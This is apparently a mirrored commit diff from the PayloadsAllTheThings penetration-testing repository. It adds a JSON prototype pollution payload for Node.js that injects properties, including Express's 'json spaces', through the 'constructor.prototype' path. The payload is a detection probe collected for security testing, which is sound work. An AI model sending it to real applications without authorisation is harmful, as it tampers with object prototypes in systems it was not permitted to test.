mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2025-12-07 09:23:55 +01:00
Merge pull request #703 from Aftab700/JSON-Prototype-Pollution
adding the payload for Polluting the prototype via the `constructor` property in JSON input
This commit is contained in:
commit
c6f96f7b2a
1 changed files with 14 additions and 1 deletions
|
|
@ -99,6 +99,19 @@ Asynchronous payload for NodeJS.
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Polluting the prototype via the `constructor` property instead.
|
||||||
|
|
||||||
|
```js
|
||||||
|
{
|
||||||
|
"constructor": {
|
||||||
|
"prototype": {
|
||||||
|
"foo": "bar",
|
||||||
|
"json spaces": 10
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
### Prototype Pollution in URL
|
### Prototype Pollution in URL
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue